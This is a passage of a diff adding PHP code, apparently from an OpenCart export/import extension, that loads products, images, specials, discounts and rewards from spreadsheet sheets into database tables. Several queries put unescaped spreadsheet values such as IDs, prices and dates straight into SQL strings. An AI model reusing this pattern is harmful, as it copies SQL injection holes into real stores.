+ $store_id = (int)$next_layout[0];
+ $layout_name = $next_layout[1];
+ if (isset($layout_ids[$layout_name])) {
+ $layout_id = (int)$layout_ids[$layout_name];
+ if (!isset($layouts[$store_id])) {
+ $layouts[$store_id] = $layout_id;
+ }
+ }
+ }
+ }
+ foreach ($layouts as $store_id => $layout_id) {
+ $sql = "INSERT INTO `".DB_PREFIX."product_to_layout` (`product_id`,`store_id`,`layout_id`) VALUES ($product_id,$store_id,$layout_id);";
+ $this->db->query($sql);
+ }
+ if (count($related_ids) > 0) {
+ $sql = "INSERT INTO `".DB_PREFIX."product_related` (`product_id`,`related_id`) VALUES ";
+ $first = true;
+ foreach ($related_ids as $related_id) {
+ $sql .= ($first) ? "\n" : ",\n";
+ $first = false;
+ $sql .= "($product_id,$related_id)";
+ }
+ $sql .= ";";
+ $this->db->query($sql);
+ }
+ }
+
+
+ protected function deleteProducts( $exist_table_product_tag, &$url_alias_ids ) {
+ $sql = "TRUNCATE TABLE `".DB_PREFIX."product`;\n";
+ $sql .= "TRUNCATE TABLE `".DB_PREFIX."product_description`;\n";
+ $sql .= "TRUNCATE TABLE `".DB_PREFIX."product_to_category`;\n";
+ $sql .= "TRUNCATE TABLE `".DB_PREFIX."product_to_store`;\n";
+ if (!$this->use_table_seo_url) {
+ $sql .= "DELETE FROM `".DB_PREFIX."url_alias` WHERE `query` LIKE 'product_id=%';\n";
+ }
+ $sql .= "TRUNCATE TABLE `".DB_PREFIX."product_related`;\n";
+ $sql .= "TRUNCATE TABLE `".DB_PREFIX."product_to_layout`;\n";
+ if ($exist_table_product_tag) {
+ $sql .= "TRUNCATE TABLE `".DB_PREFIX."product_tag`;\n";
+ }
+ $this->multiquery( $sql );
+ if (!$this->use_table_seo_url) {
+ $sql = "SELECT (MAX(url_alias_id)+1) AS next_url_alias_id FROM `".DB_PREFIX."url_alias` LIMIT 1";
+ $query = $this->db->query( $sql );
+ $next_url_alias_id = $query->row['next_url_alias_id'];
+ $sql = "ALTER TABLE `".DB_PREFIX."url_alias` AUTO_INCREMENT = $next_url_alias_id";
+ $this->db->query( $sql );
+ $remove = array();
+ foreach ($url_alias_ids as $product_id=>$url_alias_id) {
+ if ($url_alias_id >= $next_url_alias_id) {
+ $remove[$product_id] = $url_alias_id;
+ }
+ }
+ foreach ($remove as $product_id=>$url_alias_id) {
+ unset($url_alias_ids[$product_id]);
+ }
+ }
+ }
+
+
+ protected function deleteProduct( $product_id, $exist_table_product_tag ) {
+ $sql = "DELETE FROM `".DB_PREFIX."product` WHERE `product_id` = '$product_id';\n";
+ $sql .= "DELETE FROM `".DB_PREFIX."product_description` WHERE `product_id` = '$product_id';\n";
+ $sql .= "DELETE FROM `".DB_PREFIX."product_to_category` WHERE `product_id` = '$product_id';\n";
+ $sql .= "DELETE FROM `".DB_PREFIX."product_to_store` WHERE `product_id` = '$product_id';\n";
+ if (!$this->use_table_seo_url) {
+ $sql .= "DELETE FROM `".DB_PREFIX."url_alias` WHERE `query` LIKE 'product_id=$product_id';\n";
+ }
+ $sql .= "DELETE FROM `".DB_PREFIX."product_related` WHERE `product_id` = '$product_id';\n";
+ $sql .= "DELETE FROM `".DB_PREFIX."product_to_layout` WHERE `product_id` = '$product_id';\n";
+ if ($exist_table_product_tag) {
+ $sql .= "DELETE FROM `".DB_PREFIX."product_tag` WHERE `product_id` = '$product_id';\n";
+ }
+ $this->multiquery( $sql );
+ }
+
+
+ // function for reading additional cells in class extensions
+ protected function moreProductCells( $i, &$j, &$worksheet, &$product ) {
+ return;
+ }
+
+
+ protected function uploadProducts( &$reader, $incremental, &$available_product_ids=array() ) {
+ // get worksheet, if not there return immediately
+ $data = $reader->getSheetByName( 'Products' );
+ if ($data==null) {
+ return;
+ }
+
+ // save product view counts
+ $view_counts = $this->getProductViewCounts();
+
+ // save old url_alias_ids
+ $url_alias_ids = array();
+ if (!$this->use_table_seo_url) {
+ $url_alias_ids = $this->getProductUrlAliasIds();
+ }
+
+ // some older versions of OpenCart use the 'product_tag' table
+ $exist_table_product_tag = false;
+ $query = $this->db->query( "SHOW TABLES LIKE '".DB_PREFIX."product_tag'" );
+ $exist_table_product_tag = ($query->num_rows > 0);
+
+ // Opencart versions from 2.0 onwards also have product_description.meta_title
+ $sql = "SHOW COLUMNS FROM `".DB_PREFIX."product_description` LIKE 'meta_title'";
+ $query = $this->db->query( $sql );
+ $exist_meta_title = ($query->num_rows > 0) ? true : false;
+
+ // if incremental then find current product IDs else delete all old products
+ $available_product_ids = array();
+ if ($incremental) {
+ $old_product_ids = $this->getAvailableProductIds($data);
+ } else {
+ $this->deleteProducts($exist_table_product_tag,$url_alias_ids);
+ }
+
+ // get pre-defined layouts
+ $layout_ids = $this->getLayoutIds();
+
+ // get pre-defined store_ids
+ $available_store_ids = $this->getAvailableStoreIds();
+
+ // find the installed languages
+ $languages = $this->getLanguages();
+
+ // find the default units
+ $default_weight_unit = $this->getDefaultWeightUnit();
+ $default_measurement_unit = $this->getDefaultMeasurementUnit();
+ $default_stock_status_id = $this->config->get('config_stock_status_id');
+
+ // find existing manufacturers, only newly specified manufacturers will be added
+ $manufacturers = $this->getManufacturers();
+
+ // get weight classes
+ $weight_class_ids = $this->getWeightClassIds();
+
+ // get length classes
+ $length_class_ids = $this->getLengthClassIds();
+
+ // get list of the field names, some are only available for certain OpenCart versions
+ $query = $this->db->query( "DESCRIBE `".DB_PREFIX."product`" );
+ $product_fields = array();
+ foreach ($query->rows as $row) {
+ $product_fields[] = $row['Field'];
+ }
+
+ // load the worksheet cells and store them to the database
+ $first_row = array();
+ $i = 0;
+ $k = $data->getHighestRow();
+ for ($i=0; $i<$k; $i+=1) {
+ if ($i==0) {
+ $max_col = PhpOffice\PhpSpreadsheet\Cell\Coordinate::columnIndexFromString( $data->getHighestColumn() );
+ for ($j=1; $j<=$max_col; $j+=1) {
+ $first_row[] = $this->getCell($data,$i,$j);
+ }
+ continue;
+ }
+ $j = 1;
+ $product_id = trim($this->getCell($data,$i,$j++));
+ if ($product_id=="") {
+ continue;
+ }
+ $names = array();
+ while ($this->startsWith($first_row[$j-1],"name(")) {
+ $language_code = substr($first_row[$j-1],strlen("name("),strlen($first_row[$j-1])-strlen("name(")-1);
+ $name = $this->getCell($data,$i,$j++);
+ $name = htmlspecialchars( $name );
+ $names[$language_code] = $name;
+ }
+ $categories = $this->getCell($data,$i,$j++);
+ $sku = $this->getCell($data,$i,$j++,'');
+ $upc = $this->getCell($data,$i,$j++,'');
+ if (in_array('ean',$product_fields)) {
+ $ean = $this->getCell($data,$i,$j++,'');
+ }
+ if (in_array('jan',$product_fields)) {
+ $jan = $this->getCell($data,$i,$j++,'');
+ }
+ if (in_array('isbn',$product_fields)) {
+ $isbn = $this->getCell($data,$i,$j++,'');
+ }
+ if (in_array('mpn',$product_fields)) {
+ $mpn = $this->getCell($data,$i,$j++,'');
+ }
+ $location = $this->getCell($data,$i,$j++,'');
+ $quantity = $this->getCell($data,$i,$j++,'0');
+ $model = $this->getCell($data,$i,$j++,' ');
+ $manufacturer_name = $this->getCell($data,$i,$j++);
+ $image_name = $this->getCell($data,$i,$j++);
+ $shipping = $this->getCell($data,$i,$j++,'yes');
+ $price = $this->getCell($data,$i,$j++,'0.00');
+ $price_2 = $this->getCell($data,$i,$j++,'0.00');
+ $price_3 = $this->getCell($data,$i,$j++,'0.00');
+ $points = $this->getCell($data,$i,$j++,'0');
+ $date_added = $this->getCell($data,$i,$j++);
+ $date_added = ((is_string($date_added)) && (strlen($date_added)>0)) ? $date_added : "NOW()";
+ $date_modified = $this->getCell($data,$i,$j++);
+ $date_modified = ((is_string($date_modified)) && (strlen($date_modified)>0)) ? $date_modified : "NOW()";
+ $date_available = $this->getCell($data,$i,$j++);
+ $date_available = ((is_string($date_available)) && (strlen($date_available)>0)) ? $date_available : "NOW()";
+ $weight = $this->getCell($data,$i,$j++,'0');
+ $weight_unit = $this->getCell($data,$i,$j++,$default_weight_unit);
+ $length = $this->getCell($data,$i,$j++,'0');
+ $width = $this->getCell($data,$i,$j++,'0');
+ $height = $this->getCell($data,$i,$j++,'0');
+ $measurement_unit = $this->getCell($data,$i,$j++,$default_measurement_unit);
+ $status = $this->getCell($data,$i,$j++,'true');
+ $tax_class_id = $this->getCell($data,$i,$j++,'0');
+ if (!$this->use_table_seo_url) {
+ $keyword = $this->getCell($data,$i,$j++);
+ }
+ $descriptions = array();
+ while ($this->startsWith($first_row[$j-1],"description(")) {
+ $language_code = substr($first_row[$j-1],strlen("description("),strlen($first_row[$j-1])-strlen("description(")-1);
+ $description = $this->getCell($data,$i,$j++);
+ $description = htmlspecialchars( $description );
+ $descriptions[$language_code] = $description;
+ }
+ if ($exist_meta_title) {
+ $meta_titles = array();
+ while ($this->startsWith($first_row[$j-1],"meta_title(")) {
+ $language_code = substr($first_row[$j-1],strlen("meta_title("),strlen($first_row[$j-1])-strlen("meta_title(")-1);
+ $meta_title = $this->getCell($data,$i,$j++);
+ $meta_title = htmlspecialchars( $meta_title );
+ $meta_titles[$language_code] = $meta_title;
+ }
+ }
+ $meta_descriptions = array();
+ while ($this->startsWith($first_row[$j-1],"meta_description(")) {
+ $language_code = substr($first_row[$j-1],strlen("meta_description("),strlen($first_row[$j-1])-strlen("meta_description(")-1);
+ $meta_description = $this->getCell($data,$i,$j++);
+ $meta_description = htmlspecialchars( $meta_description );
+ $meta_descriptions[$language_code] = $meta_description;
+ }
+ $meta_keywords = array();
+ while ($this->startsWith($first_row[$j-1],"meta_keywords(")) {
+ $language_code = substr($first_row[$j-1],strlen("meta_keywords("),strlen($first_row[$j-1])-strlen("meta_keywords(")-1);
+ $meta_keyword = $this->getCell($data,$i,$j++);
+ $meta_keyword = htmlspecialchars( $meta_keyword );
+ $meta_keywords[$language_code] = $meta_keyword;
+ }
+ $stock_status_id = $this->getCell($data,$i,$j++,$default_stock_status_id);
+ $store_ids = $this->getCell($data,$i,$j++);
+ $layout = $this->getCell($data,$i,$j++);
+ $related = $this->getCell($data,$i,$j++);
+ $tags = array();
+ while ($this->startsWith($first_row[$j-1],"tags(")) {
+ $language_code = substr($first_row[$j-1],strlen("tags("),strlen($first_row[$j-1])-strlen("tags(")-1);
+ $tag = $this->getCell($data,$i,$j++);
+ $tag = htmlspecialchars( $tag );
+ $tags[$language_code] = $tag;
+ }
+ $sort_order = $this->getCell($data,$i,$j++,'0');
+ $subtract = $this->getCell($data,$i,$j++,'true');
+ $minimum = $this->getCell($data,$i,$j++,'1');
+ $product = array();
+ $product['product_id'] = $product_id;
+ $product['names'] = $names;
+ $categories = trim( $this->clean($categories, false) );
+ $product['categories'] = ($categories=="") ? array() : explode( ",", $categories );
+ if ($product['categories']===false) {
+ $product['categories'] = array();
+ }
+ $product['quantity'] = $quantity;
+ $product['model'] = $model;
+ $product['manufacturer_name'] = $manufacturer_name;
+ $product['image'] = $image_name;
+ $product['shipping'] = $shipping;
+ $product['price'] = $price;
+ $product['price_2'] = $price_2;
+ $product['price_3'] = $price_3;
+ $product['points'] = $points;
+ $product['date_added'] = $date_added;
+ $product['date_modified'] = $date_modified;
+ $product['date_available'] = $date_available;
+ $product['weight'] = $weight;
+ $product['weight_unit'] = $weight_unit;
+ $product['status'] = $status;
+ $product['tax_class_id'] = $tax_class_id;
+ $product['viewed'] = isset($view_counts[$product_id]) ? $view_counts[$product_id] : 0;
+ $product['descriptions'] = $descriptions;
+ $product['stock_status_id'] = $stock_status_id;
+ if ($exist_meta_title) {
+ $product['meta_titles'] = $meta_titles;
+ }
+ $product['meta_descriptions'] = $meta_descriptions;
+ $product['length'] = $length;
+ $product['width'] = $width;
+ $product['height'] = $height;
+ if (!$this->use_table_seo_url) {
+ $product['seo_keyword'] = $keyword;
+ }
+ $product['measurement_unit'] = $measurement_unit;
+ $product['sku'] = $sku;
+ $product['upc'] = $upc;
+ if (in_array('ean',$product_fields)) {
+ $product['ean'] = $ean;
+ }
+ if (in_array('jan',$product_fields)) {
+ $product['jan'] = $jan;
+ }
+ if (in_array('isbn',$product_fields)) {
+ $product['isbn'] = $isbn;
+ }
+ if (in_array('mpn',$product_fields)) {
+ $product['mpn'] = $mpn;
+ }
+ $product['location'] = $location;
+ $store_ids = trim( $this->clean($store_ids, false) );
+ $product['store_ids'] = ($store_ids=="") ? array() : explode( ",", $store_ids );
+ if ($product['store_ids']===false) {
+ $product['store_ids'] = array();
+ }
+ $product['related_ids'] = ($related=="") ? array() : explode( ",", $related );
+ if ($product['related_ids']===false) {
+ $product['related_ids'] = array();
+ }
+ $product['layout'] = ($layout=="") ? array() : explode( ",", $layout );
+ if ($product['layout']===false) {
+ $product['layout'] = array();
+ }
+ $product['subtract'] = $subtract;
+ $product['minimum'] = $minimum;
+ $product['meta_keywords'] = $meta_keywords;
+ $product['tags'] = $tags;
+ $product['sort_order'] = $sort_order;
+ if ($incremental) {
+ $this->deleteProduct( $product_id, $exist_table_product_tag );
+ }
+ $available_product_ids[$product_id] = $product_id;
+ $this->moreProductCells( $i, $j, $data, $product );
+ $this->storeProductIntoDatabase( $product, $languages, $product_fields, $exist_table_product_tag, $exist_meta_title, $layout_ids, $available_store_ids, $manufacturers, $weight_class_ids, $length_class_ids, $url_alias_ids );
+ }
+ }
+
+
+ protected function storeAdditionalImageIntoDatabase( &$image, &$old_product_image_ids, $exist_sort_order=true ) {
+ $product_id = $image['product_id'];
+ $image_name = $image['image_name'];
+ if ($exist_sort_order) {
+ $sort_order = $image['sort_order'];
+ }
+ if (isset($old_product_image_ids[$product_id][$image_name])) {
+ $product_image_id = $old_product_image_ids[$product_id][$image_name];
+ if ($exist_sort_order) {
+ $sql = "INSERT INTO `".DB_PREFIX."product_image` (`product_image_id`,`product_id`,`image`,`sort_order` ) VALUES ";
+ $sql .= "($product_image_id,$product_id,'".$this->db->escape($image_name)."',$sort_order)";
+ } else {
+ $sql = "INSERT INTO `".DB_PREFIX."product_image` (`product_image_id`,`product_id`,`image` ) VALUES ";
+ $sql .= "($product_image_id,$product_id,'".$this->db->escape($image_name)."')";
+ }
+ $this->db->query($sql);
+ unset($old_product_image_ids[$product_id][$image_name]);
+ } else {
+ if ($exist_sort_order) {
+ $sql = "INSERT INTO `".DB_PREFIX."product_image` (`product_id`,`image`,`sort_order` ) VALUES ";
+ $sql .= "($product_id,'".$this->db->escape($image_name)."',$sort_order)";
+ } else {
+ $sql = "INSERT INTO `".DB_PREFIX."product_image` (`product_id`,`image` ) VALUES ";
+ $sql .= "($product_id,'".$this->db->escape($image_name)."')";
+ }
+ $this->db->query($sql);
+ }
+ }
+
+
+ protected function deleteAdditionalImages() {
+ $sql = "TRUNCATE TABLE `".DB_PREFIX."product_image`";
+ $this->db->query( $sql );
+ }
+
+
+ protected function deleteAdditionalImage( $product_id ) {
+ $sql = "SELECT product_image_id, product_id, image FROM `".DB_PREFIX."product_image` WHERE product_id='".(int)$product_id."'";
+ $query = $this->db->query( $sql );
+ $old_product_image_ids = array();
+ foreach ($query->rows as $row) {
+ $product_image_id = $row['product_image_id'];
+ $product_id = $row['product_id'];
+ $image_name = $row['image'];
+ $old_product_image_ids[$product_id][$image_name] = $product_image_id;
+ }
+ if ($old_product_image_ids) {
+ $sql = "DELETE FROM `".DB_PREFIX."product_image` WHERE product_id='".(int)$product_id."'";
+ $this->db->query( $sql );
+ }
+ return $old_product_image_ids;
+ }
+
+
+ protected function deleteUnlistedAdditionalImages( &$unlisted_product_ids ) {
+ foreach ($unlisted_product_ids as $product_id) {
+ $sql = "DELETE FROM `".DB_PREFIX."product_image` WHERE product_id='".(int)$product_id."'";
+ $this->db->query( $sql );
+ }
+ }
+
+
+ // function for reading additional cells in class extensions
+ protected function moreAdditionalImageCells( $i, &$j, &$worksheet, &$image ) {
+ return;
+ }
+
+
+ protected function uploadAdditionalImages( &$reader, $incremental, &$available_product_ids ) {
+ // get worksheet, if not there return immediately
+ $data = $reader->getSheetByName( 'AdditionalImages' );
+ if ($data==null) {
+ return;
+ }
+
+ // if incremental then find current product IDs else delete all old additional images
+ if ($incremental) {
+ $unlisted_product_ids = $available_product_ids;
+ } else {
+ $this->deleteAdditionalImages();
+ }
+
+ // check for the existence of product_image.sort_order field
+ $sql = "SHOW COLUMNS FROM `".DB_PREFIX."product_image` LIKE 'sort_order'";
+ $query = $this->db->query( $sql );
+ $exist_sort_order = ($query->num_rows > 0) ? true : false;
+
+ // load the worksheet cells and store them to the database
+ $old_product_image_ids = array();
+ $previous_product_id = 0;
+ $i = 0;
+ $k = $data->getHighestRow();
+ for ($i=0; $i<$k; $i+=1) {
+ $j= 1;
+ if ($i==0) {
+ continue;
+ }
+ $product_id = trim($this->getCell($data,$i,$j++));
+ if ($product_id=="") {
+ continue;
+ }
+ $image_name = $this->getCell($data,$i,$j++,'');
+ if ($exist_sort_order) {
+ $sort_order = $this->getCell($data,$i,$j++,'0');
+ }
+ $image = array();
+ $image['product_id'] = $product_id;
+ $image['image_name'] = $image_name;
+ if ($exist_sort_order) {
+ $image['sort_order'] = $sort_order;
+ }
+ if (($incremental) && ($product_id != $previous_product_id)) {
+ $old_product_image_ids = $this->deleteAdditionalImage( $product_id );
+ if (isset($unlisted_product_ids[$product_id])) {
+ unset($unlisted_product_ids[$product_id]);
+ }
+ }
+ $this->moreAdditionalImageCells( $i, $j, $data, $image );
+ $this->storeAdditionalImageIntoDatabase( $image, $old_product_image_ids, $exist_sort_order );
+ $previous_product_id = $product_id;
+ }
+ if ($incremental) {
+ $this->deleteUnlistedAdditionalImages( $unlisted_product_ids );
+ }
+ }
+
+
+ protected function storeSpecialIntoDatabase( &$special, &$old_product_special_ids, &$customer_group_ids ) {
+ $product_id = $special['product_id'];
+ $name = $special['customer_group'];
+ $customer_group_id = isset($customer_group_ids[$name]) ? $customer_group_ids[$name] : $this->config->get('config_customer_group_id');
+ $priority = $special['priority'];
+ $price = $special['price'];
+ $date_start = $special['date_start'];
+ $date_end = $special['date_end'];
+ if (isset($old_product_special_ids[$product_id][$customer_group_id])) {
+ $product_special_id = $old_product_special_ids[$product_id][$customer_group_id];
+ $sql = "INSERT INTO `".DB_PREFIX."product_special` (`product_special_id`,`product_id`,`customer_group_id`,`priority`,`price`,`date_start`,`date_end` ) VALUES ";
+ $sql .= "($product_special_id,$product_id,$customer_group_id,$priority,$price,'$date_start','$date_end')";
+ $this->db->query($sql);
+ unset($old_product_special_ids[$product_id][$customer_group_id]);
+ } else {
+ $sql = "INSERT INTO `".DB_PREFIX."product_special` (`product_id`,`customer_group_id`,`priority`,`price`,`date_start`,`date_end` ) VALUES ";
+ $sql .= "($product_id,$customer_group_id,$priority,$price,'$date_start','$date_end')";
+ $this->db->query($sql);
+ }
+ }
+
+
+ protected function deleteSpecials() {
+ $sql = "TRUNCATE TABLE `".DB_PREFIX."product_special`";
+ $this->db->query( $sql );
+ }
+
+
+ protected function deleteSpecial( $product_id ) {
+ $sql = "SELECT product_special_id, product_id, customer_group_id FROM `".DB_PREFIX."product_special` WHERE product_id='".(int)$product_id."'";
+ $query = $this->db->query( $sql );
+ $old_product_special_ids = array();
+ foreach ($query->rows as $row) {
+ $product_special_id = $row['product_special_id'];
+ $product_id = $row['product_id'];
+ $customer_group_id = $row['customer_group_id'];
+ $old_product_special_ids[$product_id][$customer_group_id] = $product_special_id;
+ }
+ if ($old_product_special_ids) {
+ $sql = "DELETE FROM `".DB_PREFIX."product_special` WHERE product_id='".(int)$product_id."'";
+ $this->db->query( $sql );
+ }
+ return $old_product_special_ids;
+ }
+
+
+ protected function deleteUnlistedSpecials( &$unlisted_product_ids ) {
+ foreach ($unlisted_product_ids as $product_id) {
+ $sql = "DELETE FROM `".DB_PREFIX."product_special` WHERE product_id='".(int)$product_id."'";
+ $this->db->query( $sql );
+ }
+ }
+
+
+ // function for reading additional cells in class extensions
+ protected function moreSpecialCells( $i, &$j, &$worksheet, &$special ) {
+ return;
+ }
+
+
+ protected function uploadSpecials( &$reader, $incremental, &$available_product_ids ) {
+ // get worksheet, if not there return immediately
+ $data = $reader->getSheetByName( 'Specials' );
+ if ($data==null) {
+ return;
+ }
+
+ // if incremental then find current product IDs else delete all old specials
+ if ($incremental) {
+ $unlisted_product_ids = $available_product_ids;
+ } else {
+ $this->deleteSpecials();
+ }
+
+ // get existing customer groups
+ $customer_group_ids = $this->getCustomerGroupIds();
+
+ // load the worksheet cells and store them to the database
+ $old_product_special_ids = array();
+ $previous_product_id = 0;
+ $i = 0;
+ $k = $data->getHighestRow();
+ for ($i=0; $i<$k; $i+=1) {
+ $j = 1;
+ if ($i==0) {
+ continue;
+ }
+ $product_id = trim($this->getCell($data,$i,$j++));
+ if ($product_id=="") {
+ continue;
+ }
+ $customer_group = trim($this->getCell($data,$i,$j++));
+ if ($customer_group=="") {
+ continue;
+ }
+ $priority = $this->getCell($data,$i,$j++,'0');
+ $price = $this->getCell($data,$i,$j++,'0');
+ $date_start = $this->getCell($data,$i,$j++,'0000-00-00');
+ $date_end = $this->getCell($data,$i,$j++,'0000-00-00');
+ $special = array();
+ $special['product_id'] = $product_id;
+ $special['customer_group'] = $customer_group;
+ $special['priority'] = $priority;
+ $special['price'] = $price;
+ $special['date_start'] = $date_start;
+ $special['date_end'] = $date_end;
+ if (($incremental) && ($product_id != $previous_product_id)) {
+ $old_product_special_ids = $this->deleteSpecial( $product_id );
+ if (isset($unlisted_product_ids[$product_id])) {
+ unset($unlisted_product_ids[$product_id]);
+ }
+ }
+ $this->moreSpecialCells( $i, $j, $data, $special );
+ $this->storeSpecialIntoDatabase( $special, $old_product_special_ids, $customer_group_ids );
+ $previous_product_id = $product_id;
+ }
+ if ($incremental) {
+ $this->deleteUnlistedSpecials( $unlisted_product_ids );
+ }
+ }
+
+
+ protected function storeDiscountIntoDatabase( &$discount, &$old_product_discount_ids, &$customer_group_ids ) {
+ $product_id = $discount['product_id'];
+ $name = $discount['customer_group'];
+ $customer_group_id = isset($customer_group_ids[$name]) ? $customer_group_ids[$name] : $this->config->get('config_customer_group_id');
+ $quantity = $discount['quantity'];
+ $priority = $discount['priority'];
+ $price = $discount['price'];
+ $date_start = $discount['date_start'];
+ $date_end = $discount['date_end'];
+ if (isset($old_product_discount_ids[$product_id][$customer_group_id][$quantity])) {
+ $product_discount_id = $old_product_discount_ids[$product_id][$customer_group_id][$quantity];
+ $sql = "INSERT INTO `".DB_PREFIX."product_discount` (`product_discount_id`,`product_id`,`customer_group_id`,`quantity`,`priority`,`price`,`date_start`,`date_end` ) VALUES ";
+ $sql .= "($product_discount_id,$product_id,$customer_group_id,$quantity,$priority,$price,'$date_start','$date_end')";
+ $this->db->query($sql);
+ unset($old_product_discount_ids[$product_id][$customer_group_id][$quantity]);
+ } else {
+ $sql = "INSERT INTO `".DB_PREFIX."product_discount` (`product_id`,`customer_group_id`,`quantity`,`priority`,`price`,`date_start`,`date_end` ) VALUES ";
+ $sql .= "($product_id,$customer_group_id,$quantity,$priority,$price,'$date_start','$date_end')";
+ $this->db->query($sql);
+ }
+ }
+
+
+ protected function deleteDiscounts() {
+ $sql = "TRUNCATE TABLE `".DB_PREFIX."product_discount`";
+ $this->db->query( $sql );
+ }
+
+
+ protected function deleteDiscount( $product_id ) {
+ $sql = "SELECT product_discount_id, product_id, customer_group_id, quantity FROM `".DB_PREFIX."product_discount` WHERE product_id='".(int)$product_id."' ORDER BY product_id ASC, customer_group_id ASC, quantity ASC;";
+ $query = $this->db->query( $sql );
+ $old_product_discount_ids = array();
+ foreach ($query->rows as $row) {
+ $product_discount_id = $row['product_discount_id'];
+ $product_id = $row['product_id'];
+ $customer_group_id = $row['customer_group_id'];
+ $quantity = $row['quantity'];
+ $old_product_discount_ids[$product_id][$customer_group_id][$quantity] = $product_discount_id;
+ }
+ if ($old_product_discount_ids) {
+ $sql = "DELETE FROM `".DB_PREFIX."product_discount` WHERE product_id='".(int)$product_id."'";
+ $this->db->query( $sql );
+ }
+ return $old_product_discount_ids;
+ }
+
+
+ protected function deleteUnlistedDiscounts( &$unlisted_product_ids ) {
+ foreach ($unlisted_product_ids as $product_id) {
+ $sql = "DELETE FROM `".DB_PREFIX."product_discount` WHERE product_id='".(int)$product_id."'";
+ $this->db->query( $sql );
+ }
+ }
+
+
+ // function for reading additional cells in class extensions
+ protected function moreDiscountCells( $i, &$j, &$worksheet, &$discount ) {
+ return;
+ }
+
+
+ protected function uploadDiscounts( &$reader, $incremental, &$available_product_ids ) {
+ // get worksheet, if not there return immediately
+ $data = $reader->getSheetByName( 'Discounts' );
+ if ($data==null) {
+ return;
+ }
+
+ // if incremental then find current product IDs else delete all old discounts
+ if ($incremental) {
+ $unlisted_product_ids = $available_product_ids;
+ } else {
+ $this->deleteDiscounts();
+ }
+
+ // get existing customer groups
+ $customer_group_ids = $this->getCustomerGroupIds();
+
+ // load the worksheet cells and store them to the database
+ $old_product_discount_ids = array();
+ $previous_product_id = 0;
+ $i = 0;
+ $k = $data->getHighestRow();
+ for ($i=0; $i<$k; $i+=1) {
+ $j = 1;
+ if ($i==0) {
+ continue;
+ }
+ $product_id = trim($this->getCell($data,$i,$j++));
+ if ($product_id=="") {
+ continue;
+ }
+ $customer_group = trim($this->getCell($data,$i,$j++));
+ if ($customer_group=="") {
+ continue;
+ }
+ $quantity = $this->getCell($data,$i,$j++,'0');
+ $priority = $this->getCell($data,$i,$j++,'0');
+ $price = $this->getCell($data,$i,$j++,'0');
+ $date_start = $this->getCell($data,$i,$j++,'0000-00-00');
+ $date_end = $this->getCell($data,$i,$j++,'0000-00-00');
+ $discount = array();
+ $discount['product_id'] = $product_id;
+ $discount['customer_group'] = $customer_group;
+ $discount['quantity'] = $quantity;
+ $discount['priority'] = $priority;
+ $discount['price'] = $price;
+ $discount['date_start'] = $date_start;
+ $discount['date_end'] = $date_end;
+ if (($incremental) && ($product_id != $previous_product_id)) {
+ $old_product_discount_ids = $this->deleteDiscount( $product_id );
+ if (isset($unlisted_product_ids[$product_id])) {
+ unset($unlisted_product_ids[$product_id]);
+ }
+ }
+ $this->moreDiscountCells( $i, $j, $data, $discount );
+ $this->storeDiscountIntoDatabase( $discount, $old_product_discount_ids, $customer_group_ids );
+ $previous_product_id = $product_id;
+ }
+ if ($incremental) {
+ $this->deleteUnlistedDiscounts( $unlisted_product_ids );
+ }
+ }
+
+
+ protected function storeRewardIntoDatabase( &$reward, &$old_product_reward_ids, &$customer_group_ids ) {
+ $product_id = $reward['product_id'];
+ $name = $reward['customer_group'];
+ $customer_group_id = isset($customer_group_ids[$name]) ? $customer_group_ids[$name] : $this->config->get('config_customer_group_id');
+ $points = $reward['points'];
+ if (isset($old_product_reward_ids[$product_id][$customer_group_id])) {
+ $product_reward_id = $old_product_reward_ids[$product_id][$customer_group_id];
+ $sql = "INSERT INTO `".DB_PREFIX."product_reward` (`product_reward_id`,`product_id`,`customer_group_id`,`points` ) VALUES ";
+ $sql .= "($product_reward_id,$product_id,$customer_group_id,$points)";
+ $this->db->query($sql);
+ unset($old_product_reward_ids[$product_id][$customer_group_id]);
+ } else {
+ $sql = "INSERT INTO `".DB_PREFIX."product_reward` (`product_id`,`customer_group_id`,`points` ) VALUES ";
+ $sql .= "($product_id,$customer_group_id,$points)";
+ $this->db->query($sql);
+ }
+ }
+
+
+ protected function deleteRewards() {
+ $sql = "TRUNCATE TABLE `".DB_PREFIX."product_reward`";
+ $this->db->query( $sql );
+ }
+
+
+ protected function deleteReward( $product_id ) {
+ $sql = "SELECT product_reward_id, product_id, customer_group_id FROM `".DB_PREFIX."product_reward` WHERE product_id='".(int)$product_id."'";
+ $query = $this->db->query( $sql );
+ $old_product_reward_ids = array();
+ foreach ($query->rows as $row) {
+ $product_reward_id = $row['product_reward_id'];
+ $product_id = $row['product_id'];
+ $customer_group_id = $row['customer_group_id'];
+ $old_product_reward_ids[$product_id][$customer_group_id] = $product_reward_id;
+ }
+ if ($old_product_reward_ids) {
+ $sql = "DELETE FROM `".DB_PREFIX."product_reward` WHERE product_id='".(int)$product_id."'";
+ $this->db->query( $sql );
+ }
+ return $old_product_reward_ids;
+ }
+
+
+ protected function deleteUnlistedRewards( &$unlisted_product_ids ) {
+ foreach ($unlisted_product_ids as $product_id) {
+ $sql = "DELETE FROM `".DB_PREFIX."product_reward` WHERE product_id='".(int)$product_id."'";
+ $this->db->query( $sql );
+ }
+ }
+
+
+ // function for reading additional cells in class extensions
+ protected function moreRewardCells( $i, &$j, &$worksheet, &$reward ) {
+ return;
+ }
+
+
+ protected function uploadRewards( &$reader, $incremental, &$available_product_ids ) {
+ // get worksheet, if not there return immediately
+ $data = $reader->getSheetByName( 'Rewards' );
+ if ($data==null) {
+ return;
+ }
+
+ // if incremental then find current product IDs else delete all old rewards
+ if ($incremental) {
+ $unlisted_product_ids = $available_product_ids;
+ } else {
+ $this->deleteRewards();
+ }
+
+ // get existing customer groups
+ $customer_group_ids = $this->getCustomerGroupIds();
+
+ // load the worksheet cells and store them to the database
+ $old_product_reward_ids = array();
+ $previous_product_id = 0;
+ $i = 0;
+ $k = $data->getHighestRow();
+ for ($i=0; $i<$k; $i+=1) {
+ $j = 1;
+ if ($i==0) {
+ continue;
+ }
+ $product_id = trim($this->getCell($data,$i,$j++));
+ if ($product_id=="") {
+ continue;
+ }
+ $customer_group = trim($this->getCell($data,$i,$j++));
+ if ($customer_group=="") {
+ continue;
+ }
+ $points = $this->getCell($data,$i,$j++,'0');
+ $reward = array();
+ $reward['product_id'] = $product_id;
+ $reward['customer_group'] = $customer_group;
+ $reward['points'] = $points;
+ if (($incremental) && ($product_id != $previous_product_id)) {
+ $old_product_reward_ids = $this->deleteReward( $product_id );
+ if (isset($unlisted_product_ids[$product_id])) {
+ unset($unlisted_product_ids[$product_id]);
+ }
+ }
+ $this->moreRewardCells( $i, $j, $data, $reward );
